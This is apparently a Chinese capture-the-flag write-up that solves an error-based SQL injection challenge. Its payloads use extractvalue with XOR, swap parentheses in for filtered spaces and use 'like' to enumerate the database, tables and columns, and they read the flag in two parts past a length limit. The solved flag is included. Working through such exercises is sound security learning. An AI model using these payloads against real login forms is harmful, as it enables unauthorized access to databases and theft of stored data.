这题考的是报错注入
判断注入类型还是跟之前一样的,一个单引号’直接看出来是单引号闭合
下面就是注入方式了,之前的双写,堆叠肯定就不用想了,试试报错,emmm
关于报错注入,可以看这一篇,感觉写的还挺详细的,https://developer.aliyun.com/article/692723
基础payload:
账号:a'^extractvalue(1,concat('~',(select(database()))))#,密码123 成功爆破出来库名geek
空格被过滤了,所以需要空格来绕过
知道注入方式下面就是老三套了,表名,列名,flag
表名:a'^extractvalue(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))#
密码123
列名:
a'^extractvalue(1,concat('~',(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))#
密码123
经过测试,表里只有一条数据,password为flag,那么就上payload
a'^extractvalue(1,concat('~',(select(group_concat(password))from(geek.H4rDsq1))))#密码123
只有一部分,看起来是对返回长度做了过滤,需要再从右边读取一遍
a'^extractvalue(1,concat('~',(select(right(password,30))from(geek.H4rDsq1))))#密码123
两次结果拼接依次就好了
f-8fd9-40f4-85a8-fde36045dd41}
flag{9ecae2df-8fd9-40f4-85a8-fd
拼接结果flag{9ecae2df-8fd9-40f4-85a8-fde36045dd41}
参考视频链接:https://www.bilibili.com/video/BV1L44y1x7eF/